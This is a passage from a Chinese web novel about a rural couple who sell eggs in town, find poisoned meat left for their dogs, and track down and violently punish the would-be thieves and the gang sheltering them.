不过这么高的价,她又不买,不好意思跟人去攀扯闲聊。 裴厌慢悠悠往前走,一点都不着急。 顾兰时跟着吆喝了两声,路边人只是看,没有上前买的意思,他心里也清楚,这时候的鸡蛋,人人都知道价钱高,买三个鸡蛋的钱,都够买一斤肉了,一般人家,哪有这个闲钱。 于是他俩往青鱼巷子那边走。 刚拐进青鱼街上,迎面一个穿着体面长衫的微胖中年汉子手里提着点心盒子,看见他俩后,尤其打头的裴厌,汉子略一想就记起,以前在街上碰见过,记得是卖菜卖鸡蛋的,可惜如今冬天了,估计只有干菜卖。 他瞅一眼就收回目光,脚步匆匆往前走,不再留意从身边经过的两个庄稼人。 “鸡蛋——” 中年汉子一听有鸡蛋,连忙停下脚步,高声喊住了他俩,问道:“是新鲜鸡蛋?” 裴厌开口道:“自然,最近刚下的。” 他说着走到板车旁,打开筐盖扒开最上面的一层稻草,说:“老兄可以看看。” 中年汉子近前,一看塞在格子里的鸡蛋,目露新奇,但没说是什么,先伸手从中掏出来一枚鸡蛋,轻轻在手里晃两下,再细看一会儿,确实是没伤没冻的鸡蛋。 他把鸡蛋放回去,看向裴厌问道:“你们养的鸡?” 裴厌语气温和,点头道:“嗯,弄了个暖屋子,只是天冷,母鸡下蛋并不多。” 原是暖屋子,怪不得还有新鲜蛋,中年汉子沉吟一下,又说:“有多少个?” “一百五十二个。”裴厌开口道。 中年汉子登时一喜,说:“好好,这样,这些我都要了。” 原以为也就零星几个,没想到有这么多,这下好了,之前到处让人踅摸,不想在街上碰见。 裴厌脸上也有了笑容,开口道:“那老兄家住何处,我拉车送去。” “不远不远,就在眼前。”中年汉子指着前头的高门大院,说:“就是高府,来来,跟我去后巷子。” 高府。 顾兰时看了眼那边的大门,平时从青鱼大街路过,就数高府和另一边的沈宅最为阔气,这两家在宁水镇都是有名的富贵人家,不仅门楼高,每天大门前还有人守着。 他俩也曾去过高府后巷子卖菜卖鸡蛋,不过都是住在巷子里的人家买,鲜少有府里的人出来过问。 “对了,什么价?”中年汉子边走边问。 “八文,市价。”裴厌说道,今年蛋价还是挺稳的,没有涨太高。 “嗯。”中年汉子点点头,不再说什么。 见他不嫌贵,跟在后头的顾兰时心中一喜,这下省事了,不用再叫卖。 很快,几人到了高府后门。 后巷子的人对高府还算清楚,有的正是高府下人,看见中年汉子以后,都喊赵管事。 原来姓赵,是高府管事,裴厌默默记下。 赵管事让后门口的小厮去喊厨房的人,不一会儿,一个胖厨子出来,满脸通红,浑身带着酒气,一看就是正在喝酒。 好不容易寻来一百多鸡蛋,厨子连忙叫人装篮。 裴厌见几个小厮上手,取第一层竹片格子时提醒了一声,他只在旁边看着,顺便盯着对方数数。 一百五十二枚鸡蛋,虽然有几枚在路上碰出裂缝,但厨子和管事都没嫌弃,拿起闻了闻,见不是放了几天坏掉的,便信了裴厌所说,只是在路上撞坏的。 高府下人手脚倒是麻利,很快就把所有鸡蛋提走了,裴厌收拾了一下竹筐,看向赵管事说道:“赵老哥,账是不是该结了。” “自然自然。”赵管事找到了鸡蛋,心里正高兴,今年府上鸡蛋备的少了点,吃完了,菜上的浇头和蛋羹供不上,都愁好几天了。 账目很好算,厨子出来着急,于是又回去拿钱。 赵管事没有走,开口:“敢问小兄弟贵姓?” 裴厌一拱手,道:“免贵姓裴。” 赵管事笑着还一礼,说:“原是裴小兄弟,我也明说了,这鸡蛋你们后面要是还有,赶在腊月二十之前,有多少拉多少,到了后直接让后门小厮去找厨子,我自会交代他们。” 高府上下人口众多,就今天这一百五十枚鸡蛋,还得先紧着上头的人吃。 “行,今日初四,半个来月,大概有六七十枚鸡蛋。”裴厌笑着答应。 赵管事连连点头:“好好,六十就六十,尽量多带些,价钱都好说。” 鸡蛋稀少,前两天都是五个八个从散户手里收,这下碰到个蛋户,先把人拢住再说,镇上有点钱的人家可不止他们,被旁人截了实在可惜。 厨子取了钱出来,无论好蛋破蛋都算成一个价,三四个鸡蛋而已,不值得又算又减的。 一千二百一十六文,给了一两二钱,至于那十六文的零头,裴厌原想说算了,但厨子抬手就把一小串铜板丢过来。 厨子见他价钱合适,不像别的人,一听高府买鸡蛋,知道是大户,蛋价就涨到九文十文,甚至更高,虽说市价只是市价,但碰上个实诚的,自然就有了比对,谁都不是瞎子傻子,再加上他今天吃酒耍钱高兴,还看不上这一丁点油水。 裴厌接住,笑了下再没言语,高府的人财大气粗,确实看不上这点零头。 赵管事同厨子吩咐,腊月二十前还给送一回鸡蛋,让他记着点,厨子粗声粗气答应,又赶忙回去喝酒了。 顾兰时把竹筐收拾好,等裴厌和赵管事道一声,两人就往巷子外走。 鸡蛋一下子卖光了,可谓一身轻。 裴厌眼中笑意未散,问道:“还逛不逛?” 顾兰时想了一下,没什么要买的,笑眯眯说:“不逛了,趁着太阳好回去吧。” “行。”裴厌应道,牵着毛驴就往镇口那边走。 今天运气好,实在叫人高兴。 第185章 篱笆大门一开,顾兰时和裴厌就感到了不对。 “汪汪!” 包括大黑在内,三只狗都冲着他俩叫,安静下来之后,大黑在前面走,回头不断示意他俩跟上。 平时回来,狗辨认出是他俩,顶多来蹭蹭,不会如此。 裴厌目光四下看了看,大菜地被雪覆盖,离篱笆墙近的地方,也没有踩踏过的痕迹,顶多是狗跑过后留下的。 自从下雪,他俩就没怎么管过菜地,偶尔挖棵埋在雪里的菘菜回去,院门也没有被打开。 他牵着毛驴往前走,心中疑虑不减,见狗跑到离鸡圈不远的西边篱笆墙下,又冲着他俩叫,似乎在催促,他松开毛驴绳子,和顾兰时一起往那边走。 因狗叫声不小,停下来的毛驴耳朵动了动,明显有点不安。 “不像进贼了。”顾兰时一路走来也有不少疑虑,但确实没有被贼人光顾过的痕迹。 话音刚落,两人同时看见了大黑爪子前的那根骨头。 “你喂的?”顾兰时问道,但很明显,他自己也不记得家里还有这么一根骨头,上回买的前几天已经吃完了,不可能还有剩的骨头给狗。 “不是我,家里没骨头了。”裴厌说道,同时眉头皱起,他直接上前捡起那根骨头。 顾兰时目光落在骨头上,看了一会儿说道:“不像是从土里刨出来的。” 家里的狗爱藏食,但这根骨头上面沾到的泥和土并不多,只有面上浅浅一点,甚至骨头上面的肉都没啃完。 他家的狗都嘴馋,向来先把肉啃个精光,最后只剩下骨头藏起来,留着下回再刨出来磨牙。 “怎么还有肉块?”顾兰时声音不由拔高,他看见的同时,灰灰用鼻子点了点示意他另一块肉。 他两步走过去,用脚把两块肉踢到一起,蹲下后皱着眉头,伸手用指头拨了拨。 裴厌也过来看,这分明不是他俩喂的,肉块被拨动,露出底下那一面,两人同时看见上面有一点浅黄的粉末。 “药粉。”裴厌开了口,眸光微冷,心里的猜测落实了。 顾兰时不是傻子,也明白了,这是有人想用骨头和肉药死狗,顿时气不打一处来,骂道:“该死的,偷鸡摸狗不做正事,一辈子都得是贼。” 偷鸡摸狗。 他嘴上无意,但裴厌听到后看一眼鸡圈那边,心中越发有了眉目,说:“或许,真是来偷鸡的,怕被狗咬,想先药死。” 门锁着,比起把药死的狗费力弄出去杀了吃肉,确实不如鸡更小更方便,况且鸡抱到镇上去,也比狗好卖。 “哎呀,钱!”顾兰时急得立刻起身,跑着去开锁,推开半扇门立即就往屋里跑。 见房门窗子都没有被打开,他心里稍稍安定,推门进去后,见箱子上面的锁也好好的,于是松了一口气。 为防万一,他还是打开箱子看了眼,从箱底摸出了钱袋,数了数一个都没少后,心一下子落回肚子里。 裴厌没有他那么着急,狗还活着,贼人应该连篱笆墙都没进来,自然不可能去偷钱。 不过他还是去鸡圈查看了一番,母鸡以为他来喂食,纷纷跑出来,他大概数了数,见数目差不多对着,这才出去。 看到地上的骨头和肉,狗没有吃,正围着转,还时不时盯着西边篱笆墙警惕,裴厌就知道贼人想从西边翻墙进来。 可惜没抓个正着,眼下也不知道到底是谁。 裴厌正沉吟思索,就见顾兰时取了门槛,打算把驴车牵进去。 他大步跟上,在院里解下车套,说:“等会儿我去村里打听打听,说不定有人看见了什么。” 顾兰时摸摸毛驴,看向他开口:“行,要不喊上狗儿,他同村里那些年轻的交好,让帮着打听。” “嗯。”裴厌点点头,见他牵毛驴往后院走,自己拿了靠在墙上的铁锨,到外面把那根骨头和两块肉铲了。 出门之后原本想就这么扔远,转念一想,万一大黑几个在外面放风,再遇上这下药的东西,于是干脆往河边走,直接丢进河里。 “得亏机灵,没吃那东西。” 顾兰时坐在院里歇脚,揉着大黑和灰灰脑袋,后知后觉有了一点惧怕,却又十分庆幸。 灰仔吃醋,硬生生挤到大黑和灰灰中间,把脑袋直往顾兰时身上蹭,喉咙里呜呜呜叫个不停。 顾兰时笑着揉揉它脑袋和耳朵,不断夸道:“可真聪明,咋就这么厉害,知道那东西不能吃。” 见裴厌回来,他抬头说道:“多亏它们没上当,要不然,今天还不知怎么样呢。” 裴厌把铁锨靠回墙上,开口道:“等会儿回来,我去永安叔家买些肉和骨头回来,煮了给它们吃。” 许永安家昨天杀了一头猪,到今天肯定没卖完。 “好。是得犒劳犒劳,立了功呢,一点东西都没丢。”顾兰时又摸摸大黑脑袋。 三只大狗都挤在他身前,灰灰还试图舔他脸,他后仰身子避开。 狗被揉的高兴,甚至往他怀里挤,他实在没法,只好站起来,不再揉狗头了。 “我这就过去。”裴厌眉头不曾舒展,这事还是尽快弄清楚为好。 “嗯。”顾兰时应道,他心里确实也不得劲。 之前就有过一次,贼人试图从外面挖洞钻进来,被狗发现了,这回的贼,不知道跟上回是不是一个人。 * 肉香味从灶房飘出来,锅盖一掀,白汽蒸腾冒出来,整个灶房雾蒙蒙的。 狗老老实实蹲坐在灶房门口,大黑还好,灰灰和灰仔哈喇子流个不停,嗷呜叫一声,像是馋的受不了了。 顾兰时用筷子扎了扎肉块,见熟透软烂了,骨头上的肉也是如此,于是就开始捞肉捞骨头。 今天煮了半锅肉和骨头,不止给狗吃,也有他俩的份,另一口大锅里闷着菜和干米饭。 裴厌坐在灶前烧火,听他炖烂了,就不再添柴,揭开另一口大锅,把木架上的菜碗先端出来,随后取出木架,拿了碗开始盛饭。 贼的事一时半会儿还没弄清楚,大雪封了山,和夏天不一样,大伙儿不常往山上去,因此上一些人家打听了之后,暂时没得到有用的消息。 不过这事已经传出去了,原本顾兰瑜带着裴厌去一些年轻汉子家里,不少人心里都突突,但一听来了贼,竟然还下药药狗,事情就不一样了。 养狗的人家多,而且快过年了,要是失了窃,连年都过不好,再心大的人都对这事上了心,要是把贼抓出来,自己也心安。 裴厌没有过于着急,先买了肉回来吃饭。 村里人口耳相传,连里正也知道了这事,等下午再去村里转转。 刚捞出来的骨头,顾兰时伸手一摸,挺烫的,说道:“等会儿再给它们。” 裴厌把角落一张小桌子搬过来,直接在灶房吃。 “呜——” 灰仔又嚎了一声。 顾兰时扒拉一口饭,转头看它几个一眼,还是没有把骨头端出去,狗吃东西狼吞虎咽的,万一烫着。 本来回来就晚了点,又发生了这样的事,今天晌午饭比平时迟了小半个时辰。 裴厌饿了,夹起一大块肉吹吹,合着米饭一起进口。米粒吸了些肉汁,吃起来更香。 待一碗米饭下肚后,他才拿了一根肉骨头啃。 他俩吃的肉和骨头都是盛出来后才放盐,盐毕竟金贵,那么大半锅,要是全撒,得好些呢,反正一半都要给狗吃,就没有往锅里放盐。 顾兰时同样如此,啃光一根骨头后,就起身去喂狗,不然一直在灶房门口叫,嗷呜嗷呜的,不知道的,还以为狼来了。 每只狗两根骨头,大的肉块七八,那叫一个丰盛,恨不得立刻埋头苦吃。 好在裴厌之前教过规矩,不让吃的时候没一个敢上前,只眼睛直勾勾盯着,口水滴答掉在地上。 顾兰时把盆底的肉汤倒进去,远离了两步才开口:“吃吧。” 登时,灰灰和灰仔就扑了过去,眨眼的功夫,好几块肉就吞下肚,大黑勉强好一点,不像它俩那样,丝毫没有吃相。 顾兰时摇摇头,端着汤盆进灶房继续吃饭。 裴厌之所以教它们规矩,就是之前吃东西太着急,往往人还没食盆前离开,就直接扑过来了,有时候还没倒完的汤水也会落在狗身上,脏兮兮还一股味。 待两人吃饱喝足,屁股还没从凳子上挪开,外面响起顾兰瑜的声音。 趴在院里抱着骨头啃的狗昂起脑袋,一看是熟人,都没有起身,骨头实在太香,舍不得松开爪子。 而且离开自己的骨头后,很有可能会被其他狗叼走,都互相防备着。 连大黑也是如此,即便它是头狗,灰灰和灰仔实在太皮了,记吃不记打的那种,偶尔也会偷它的骨头吃。 顾兰瑜走得很急,见裴厌从灶房出来,他连忙道:“厌哥,打听到了。” “今儿上午,隔壁清水村的刘庆子和刘栓来过咱们村,没走村里路,从河道那边绕的,王老嬷在河边挖茅根,他孙子王成去找他,远远看见,认了出来。” “那俩孙子好认,成天钻在一起,一高一矮,高的瘦,矮的胖,之前就做过贼,在清水村有名的游手好闲,又懒又馋,连亲戚家都偷。” 走河道来后山要绕路,但胜在偏僻,这时节,哪有人会上山,裴厌一听,刘庆子和刘栓实在有嫌疑,当即说道:“去清水村找找。” 顾兰时听弟弟这么一说,见他俩要走,连忙在后头叮嘱:“拿好分寸,问清了再说。” “知道了。”裴厌答应道,和狗儿大步就出了门。 第186章 刘庆子和刘栓在清水村的名声就不好,不过他俩吃了教训,这几年即便偷鸡摸狗,也不会在自己村里,就算偷,一个在外头放风,另一个脚下溜得很快,没让人当场逮住过。 冬天日子不好过,连个野菜都挖不到,想起隔壁小河村的裴厌,早就听人说了,那么大一片菜地,常常拉了菜去镇上卖钱,还养了几十只母鸡下蛋,听得眼睛都发热。 只是他俩也畏惧裴厌名声,可好一阵没吃过肉,厮混到一起,他俩嘴里说的,全是这家养了鸭,那家养了鸡,还碰见人家提了肉回去。 说着说着,肚里就起了馋虫。 刘庆子矮,身材偏胖偏壮一点,他还好,家里有老爹老嬷,上头还有一个大哥,只是他从小到大就游手好闲,奇懒无比,还偷别人东西,怎么打都改不了。 他爹和阿姆又气又臊,一世的老脸在村里被丢尽了,终于在他偷了他大哥给侄儿的买药钱后,气得他爹差点厥过去,他大哥愤怒无比,吵了一通后直接分家,给了他一间茅草屋将他撵了出去。 他爹和大哥见不得他,在路上碰见从来不搭理他,也就他阿姆有时候会心软,在他求着要吃的时候,会给他一点吃的。 这也导致刘庆子越发手脚不勤,反正饿不死,饿极了就偷摸溜回家,向他阿姆哭诉,总能得一口吃的。 而刘栓,穷得叮当响,老爹老娘早就死了,他一点上进心都没有,爹跟老牛一样任劳任怨,吃了很多苦,干活挣了一辈子,总算挣下几亩田地,就这点家底,却在死后被儿子卖得只剩一亩薄田。 这两人凑在一起,除了使坏再没别的。 他俩也怕裴厌,以前娄进在娄家村招揽人手,势力那么大,却被裴厌弄死了,因此犹豫了好几天。 可天冷,两人很长一段时日没见过肉星,最后大着胆子决定铤而走险。 其他人家倒是想偷,可冬天一般人都在家里待着,没办法下手,夜里那么冻,身上又没件好的冬衣裹暖,他俩还懒得出去,因此想要在白天下手,就只能挑会出门的人家。 他俩知道裴厌常常赶车去镇上,于是这一段时间都在小河村附近瞎转悠,直到今天上午,终于有了机会,裴厌和他夫郎都走了,家里一个人没有,越发方便他俩行事。 只是没想到,裴厌养的狗竟然不吃骨头,连肉都不吃。 从小河村跑掉以后,刘庆子刘栓心虚不已,怕裴厌发现端倪找来,想跑但无处可去。 要是夏天,跑远到镇上,夜里随便找个地儿猫进去就能睡,这大冬天,天寒地冻的,晚上睡在外面能冻死人。 他俩都不受亲戚待见,也没有正经朋友,想到别人家躲躲都不行,最后一商量,决定去娄家村找娄五。 能跟着娄进混,娄五不是什么好东西,手脚也不太干净。 而自打娄进死了之后,他手底下的人散了,娄五吓破了胆,大半年都没怎么出家门。 今年倒是有了点动静,狗改不了吃屎,他和本家几个兄弟,照样在村里欺负人,但没有之前娄进翻起的风浪大,甚至见了小河村的人,都不敢动手,生怕和裴厌沾亲带故。 以前刘庆子刘栓跟娄进混过一段时日,只是他俩太怂了,脚下又滑溜,遇见事就跑,不得重用,有时踩好点,会和娄五一起翻墙偷东西。 到娄五家后,两人赔笑哈腰,对娄五一顿吹捧,只字不提偷到裴厌家里的事,他俩谁都不敢说,生怕走漏了消息,被裴厌知道是他俩。 娄五打心底瞧不上他俩,但对吹嘘很受用,见他俩有想留下的意思,于是大手一挥,给他俩安排了柴房,还让去吃点东西。 刘庆子刘栓为的就是躲开裴厌,有间柴房都兴高采烈,更别说还给了吃的,对娄五谄媚的模样,都快称得上感恩戴德了。 而等晌午饭后,趁娄家人不注意,刘庆子望风,刘栓溜进灶房,偷了几个糙馒头藏了起来。 * “不行不行,换一家。” 屋子里,娄五和两个堂弟还有三个小喽啰商量事情,快过年了,手头银钱不够,年节的排场摆不开,今天正好刘庆子刘栓两个来,让他想起以前干过的勾当,于是起了贼心。 有人说白水村的大财主富得流油,可财主家里人丁多,长工护院个个都是身强力壮的汉子,风险太大了。 刘庆子和刘栓太怂,娄五看不上,多两个人还要多分两份,因此屋里只有自己人。 “谁啊!” 娄五媳妇抱了几根柴火要去灶房,听见院门被拍响,高声问道。 “嫂子,我来找娄五哥。”一道陌生的嗓音响起。 娄五狐朋狗友很多,他媳妇不是全都认得,因此没有戒心,赶忙去开院门。 屋子里娄五几个也听见声音,一时没听出是谁,于是止了话头出来看。 哪知院门一开,裴厌冷着一张脸高高大大堵在门口,他抬眸越过娄五媳妇,径直看向里面的人。 腿不由自主打起哆嗦,后背惊出冷汗,娄五脸色煞白。 哪怕是梦里,梦到裴厌那天砍娄进时的架势,他都能直接吓醒。 即便过了这么久,一提起裴厌,都能想起那股子血腥味,当时他离娄进最近,血溅了他一脸。 把娄进抬回来的时候,更是一路都能闻到那股浓重的血腥味,几乎都要吐出来,从那以后,他在家里连鸡都不杀。 顾兰瑜站在旁边,见娄五一副快吓死的模样,差点没笑出来,他绷紧了面色,直接问道:“刘庆子和刘栓呢?” 娄五刚才听到的就是这个声音,如果裴厌开口,他立马就能认出来。 因这两三年,他连小河村都不敢接近,看一眼顾兰瑜只觉陌生,在裴厌冷冰冰的注视下,他张了张嘴,却发不出任何声音。 娄五媳妇见是汉子,开了门没言语,她不认得什么姓刘的,但想起今天来的人,正好是两个。 以为娄五会说话,不想一转头,就看见娄五战战兢兢,她十分惊讶,再扭头瞧一眼门外的人。 高个,刀疤脸。 看起来莫名熟悉,直到想起小河村那个裴厌,她眼睛倏然睁大。 裴厌见没人说话,不耐烦直接进来,四下张望,见柴堆那边有根木棍,直接拎在手里,问道:“刘庆子和刘栓在这儿?” “在、在。”娄五嗓子都在哆嗦,只能照实说,脑子嗡嗡的,一看裴厌要动手的架势,觉得眼前都有点发昏,脚下挪不动一步。 “在哪儿?”裴厌冷声问道,对娄家这伙人,他向来没好脸色。 尤其娄五,对方还曾游说过他,他当时不耐烦没搭理,不想娄五嘴巴很不干净,于是抽了两耳光。 娄进后来之所以去找他,好像也是娄五撺掇的。 娄五不敢隐瞒,看了一眼柴房的方向。 柴房里,刘栓和刘庆子一人占了一片地方,躺在稻草堆上,今天吃饱了,翘起二郎腿好不快活。 只是没想到,裴厌来的那么快。 听见外面的动静,两人即便对裴厌声音不熟悉,也清楚肯定就是,哆哆嗦嗦躲在柴房一声不敢出。 直到柴房门被从外面一脚踹开,刀疤脸的冷面汉子将他二人从柴房揪出去,随后一人给了一脚,直接踹倒在地。 “下药毒狗?偷鸡?”裴厌将手里木棍掂了掂,眸光透着冷意。 刘栓见势不妙,爬起来登时就跑,却被顾兰瑜堵住。 他没见过裴厌砍人打架的场面,满心以为只要跑掉,就能免了这顿揍,见有人挡路,攥拳就打过去。 可惜,顾兰瑜也不是那么好惹的,更何况手里还有棍子。 刘庆子见刘栓跑了,跟样学样,不想裴厌比他更快,三两步直接拦住去路,他一咬牙,便要动起手。 娄五见不是冲着他来,劫后余生一般擦了擦头上汗水。 “五哥,上!在咱们地盘还有他嚣张打人的理儿?”他堂弟娄七摩拳擦掌恶狠狠道。 娄五惊得脸皮子抖了抖,不可置信看向娄七:“你疯了?” “怕什么,就两个人,咱们七八个,能怕他?”娄七早就对娄五畏惧裴厌的事情感到荒谬,再厉害,还能对付这么多人? “进哥怎么死的你忘了?”娄五又怕又气,生怕这话被裴厌听见,来找他算账,又埋怨堂弟可能会连累他,骂道:“王八羔子!还想不想活了!” 裴厌正在殴打刘栓,只用了拳头,他一眼就看出没有动真格的,毕竟那天砍娄进的时候,他目睹了全程。 “他会拳脚!长棍子在手里,就跟长枪一样。”娄五压低了声音,并朝后退了几步,打死不愿掺和进去。 娄七对此嗤之以鼻,招呼其他人拿家伙,棍子斧头都在手里,他甚至从柴堆当中找到一把长刀抽出来,明晃晃的刀刃映出一道寒光。 “厌哥!”顾兰瑜把刘庆子打倒在地踹了几脚,不想一抬头就看见兵刃,脸色一变,心也跳起来,这伙人当真凶恶至极,怪不得近来人人都避着娄家村走。 裴厌抬眸,眼中没有任何波澜,拾了地上长棍子在手里,心底沉寂的戾气渐渐翻涌。 哐当—— 一根棍子掉在地上,失去武器的汉子被一棍打在头上,便晕死过去,直接摔倒在地。 斧头没有砍中,被侧身避过去,娄八反应很快,又要抬手,却被拧住手腕直接夺了斧子,接着就被从后面接近的顾兰瑜一棍打的头晕目眩。 比起上阵杀敌,乡下庄稼汉只有蛮力没有章法,对付起来根本不难。 在兵营时,每日都要操练,军中严格,一丝都不能懈怠,除了拳脚,长枪和大刀是兵卒最常用的武器。 裴厌惯使红缨枪,甚至带了一柄枪头回来,藏在柴房最里面,从没有动过。 娄七眼前一花,看都没看清,手腕顿时生疼难忍,手一软,长刀哐当掉在地上,他来不及反应,膝窝遭到重击,扑通跪倒在地。 娄家几个人,没一个是站着的。 狗儿眼疾手快,近前拿走地上长刀,一来是怕娄家人捡了去,二来,也是怕裴厌红了眼。 他之前见过裴厌剁裴胜手指,拦都拦不住,这回要是再捅娄子,回去了不好跟顾兰时交代。 见娄五冷汗涔涔瘫坐在地上,胯下都湿了。 裴厌看他一眼,没有再理会,转身便将娄七一条腿打断。 惨嚎声响起。 顾兰瑜摇摇头,对娄五没有丝毫同情,藏一把长刀,砍人的架势那么熟练,一想就知道平日里横行霸道,不是个好东西。 裴厌扔掉长棍,捡起地上的斧头,朝门口刘庆子和刘栓走去。 “厌哥!”顾兰瑜一个激灵。 “放心,我有分寸。”裴厌开口道,他抓着刘栓头发迫使对方从地上抬头:“说,什么时候盯上的?” 刘栓惊恐万分,把所有都说了出来,包括他和刘庆子跑到山上往底下看的事,那时候就在踩点了。 围在娄家门口看的汉子不少,都探头探脑的,一则有点怕娄五,第二则是怕小河村的活阎王,结果一听是对方做贼在先,哪怕嘴上不敢言语,心里也十分唏嘘,怪不得追来打人呢。 娄家村里正没敢出头,娄五过于混账,他根本管不住,甚至也有点儿依靠娄五势力作威作福,一看娄五都吓尿了,根本不敢冒头。 裴厌又问去年有没有打过主意,刘栓看着他手里的斧头,都快吓疯了,疯狂摇头,他确实是第一回起念头去那边偷东西。 所有事情问清之后,顾兰瑜以为要走了,没想到裴厌按住刘栓,直接砍了一根手指,对刘庆子同样如此。 娄七还在低声哀嚎,裴厌直起身,想到刚才这人又混又恶,开口道:“下回,就没这么简单了。” 他说完,抬手一扔,手里的斧头就过去了。 娄七瞳孔瞬间缩紧,斧刃几乎擦过他脸颊,插进他身后的地上,意识到斧头没有嵌进自己脸上,他浑身一软,翻着白眼晕死在地。 见一地惨状,外头还有人看着,顾兰瑜丢掉手里的刀,毕竟不是他们的,劝道:“厌哥,回去吧。” “嗯。”裴厌眼中戾气未消,扫过娄家所有人的脸,他记性好,一遍就能记住模样。 娄五媳妇吓得跪坐在地上,木愣愣看着刘栓和刘庆子被砍下来的小手指,忽然,发现裴厌靠近了,她猛地往后爬,浑身都哆嗦。 顾兰瑜瞧见,嘴里轻“啧”一声,什么都没说,只想赶紧离开这里。 裴厌目光扫过对方,没有任何停留,没招惹他他是不会下手的,更何况是个女人。 第187章 裴厌和顾兰瑜走之后,围在门口的人渐渐散了。 这些人大多都是汉子,奈何娄五兄弟几个不怎么干人事,连村里人都不敢惹他,今日他遭了殃,被他欺负过的人家心里还不知怎么偷着乐呢。 至于有心想和娄五混的汉子,一看他兄弟几个被打成那样,娄五都给吓尿了,便生出了胆怯,哪里敢帮娄五出头,大伙儿心里都明白,裴厌和娄五是不对付的,万一被当成一伙人,岂不是倒霉。 院子里,娄五媳妇吓得满脸惊恐,见地上人伤的伤晕的晕,再转头看一眼堂屋门口的娄五,瘫坐在地上,裤子湿了一大片。 神智渐渐回笼,她擦着眼泪从地上爬起来,一边朝娄五走一边哭骂道:“叫你积积德,偏不听,只知作孽,这下好了,叫人撵上门来打。” 娄五平时在家说一不二,以往要是听见这些,非得指着媳妇鼻子骂,不动手都算好的,妇人家家的,还管起爷们的事了,当真反了天。 眼下他腿软下身冰凉,裴厌甩斧头差点劈了娄七脑袋那一幕,他看得真真切切,脑瓜子嗡嗡作响,脊背发凉,甚至没听见他女人的骂声。 他女人抹着眼泪,见他这幅没出息的样子,又是恨又是怕,却还有几分庆幸,娄七被打断了腿,但娄五好好的,甚至没挨打,一处伤都没有。 她搀起已经丢尽脸面的娄五,却发现男人吓破胆一般,连魂都像是丢了,眼睛发直,呆呆木木的,慌乱之下,放声大哭起来。 等娄七娄八还有其他人的家里人找来,院子里更乱了,各种骂声哭声,互相指责埋怨。 娄五缓过劲来之后,迟滞的眼珠子动了动,渐渐有了意识。 他从地上爬起,顾不得先去换裤子,心中全是对刘庆子和刘栓的怨恨,要不是他俩,怎会引来裴厌! “混账东西!勾着老七惹是生非,连腿都交代在这里,娄五,今儿你不给个说法,咱们没完!” 娄七老娘见儿子断了一条腿,恨得牙痒,几乎想吃了带坏她儿子的人。 娄五对姓刘的两个人恨得咬牙切齿,神色扭曲怨毒,被骂了以后,恶狠狠瞪过去。 娄七老娘唬了一跳,被他眼中血丝和狰狞神色吓住,骂骂咧咧转而去扶儿子。 见娄七醒来,依旧一副惊恐的模样,她实在忍不了,见娄五媳妇在那边,于是又冲着娄五媳妇骂。 娄五媳妇被一院子的人吵得脑瓜生疼,还不止一个人骂她,她心中火气也窜了上来,跳着脚骂回去。 要说这群人,软弱的也有,只敢把自己男人自己儿子扶起来带回去,一声不吭。 但更多的,像娄五媳妇和娄七老娘,在娄五和娄七作恶的时候,骂归骂,有时也劝两句,毕竟娄进的下场在先。 可一旦娄五和娄七往家里拿回不知从哪里弄的钱粮,有了好处占,于是都闭了嘴,默默将东西收起来,心里知道怎么回事,因此从不过问东西是怎么来的。 刘庆子和刘栓一人被砍掉一根手指,见血的时候都晕了过去,直到被娄五用耳刮子抽醒。 刘栓最先醒来,颤巍巍抬起自己生疼的右手,眼睛瞬间睁大,转头就看见熟悉的指头沾着血,孤零零滚落在地上,他哀嚎不已:“手,我的手!” 刘庆子胆子比他还小,手上流了很多血,看一眼再次眼前发黑,脑子昏胀胀的,眼珠子直往上翻,大有再次晕死过去的架势。 娄五气不过,“啪”一耳刮子抽在刘庆子脸上,骂道:“狗杂种!叫你害老子!” 他边骂边打,一顿拳打脚踢,却不如平时那样威风,才刚受了惊吓,手脚力气大不如前。 刘庆子蜷缩在地上浑身是土,半天都没动弹。 娄五气喘吁吁停了手,见刘栓想跑,他气愤不已,骑在刘栓身上就是一通老拳砸下去,即便如此,也难消心中恨意。 原本裴厌带来的恐惧已经慢慢消除,他日子也好过起来,不想今天遭了殃,好不容易拉拢的一伙人都栽了,以后恐怕再没人敢跟着他干事。 这恨意他根本不敢算在裴厌头上,连想都不敢想,况且这回他确实冤屈,绕都绕道走,没曾想,栽在刘庆子和刘栓两个王八羔子身上,要知道他俩是跑来躲祸,早就撵出去了,连院门也别想踏进一步。 见娄五一副要打死他的架势,刘庆子勉强用胳膊护住脑袋,从缝隙中喊刘栓:“我死了你也活不了!都活不了!” 刘栓原本躺在地上大喘气,因手上伤口没处理一直在流血,他惧怕不已,总觉得要死了,在被刘庆子吼了一声后回过神。 两人一对视,刘栓突然爬起来,直接撞向娄五,将他从刘庆子身上撞翻。 刘庆子也在挣扎,二人合力将娄五掀开,随后拔腿就跑。 “别让我抓到你们!”娄五暴跳如雷,嘶吼着放话。 刘庆子和刘栓冲了出去,听到后面的威胁,忍不住打个哆嗦,他俩都心知肚明,以后不好混了。 二人连清水村都不敢回,娄五知道他俩住在哪里,打上门就更惨,只能无头苍蝇一样先跑出了娄家村。 * 东屋里,顾兰时开了箱子,从里头拿出干净衣裳。 裴厌在旁边慢吞吞脱沾了一点血和尘土的外衣,眉头依旧没有舒展。 原本他不想见血的,想一想却又有些后怕,要是他今天一个人去镇上,留顾兰时在家,即便有狗,心里还是不安。 贼有两个。 他越想越觉得下手还是轻了,对待贼,打个半死也没人会说什么。 “口子不大,我这就缝。”顾兰时把他脱下来的衣裳查看一番,见袖子和衣摆有破口,直接拿了针线坐在炕边缝。 刘庆子和刘栓的贼名他早几年就听过,不想确实是这两人干的,得亏狗没事,家里也没丢东西。 至于裴厌又打架的事,他没有责怪,贼和别人不一样,逮到就得一顿好打,十里八乡都这么干,他没觉得有错,就算今天又和娄家人干了一架,也不觉得是裴厌的错。 他都听狗儿说了,原本裴厌只找刘庆子和刘栓麻烦,但娄家人非要凑上去,甚至还动了刀。 狗儿虽说的平淡,但一听有刀,他心头一跳,哪里不知道凶险,也得亏裴厌身手好,没有吃亏。 刚回来的时候,狗儿和裴厌还有点不想告诉他,但他一看,裴厌袖子上有血,就逼问了几句,两人这才照实说。 见瞒不过,裴厌把两个贼踩点的事也跟他说了,没有隐瞒。 缝好衣裳后,见裴厌坐在旁边皱眉思索,顾兰时把针线收了,心里的顾虑让他有点不安,开口道:“从山崖上往下看,屋里还好,院里有什么,是不是一清二楚?” 裴厌也没忽略这个,点点头说:“嗯,应该是这样。” 两人心里都不舒坦,裴厌想了一下,这会子天色还早,起身说道:“我先上山转转。” 顾兰时把腿上的衣裳搁在旁边,连忙说:“我也去。” 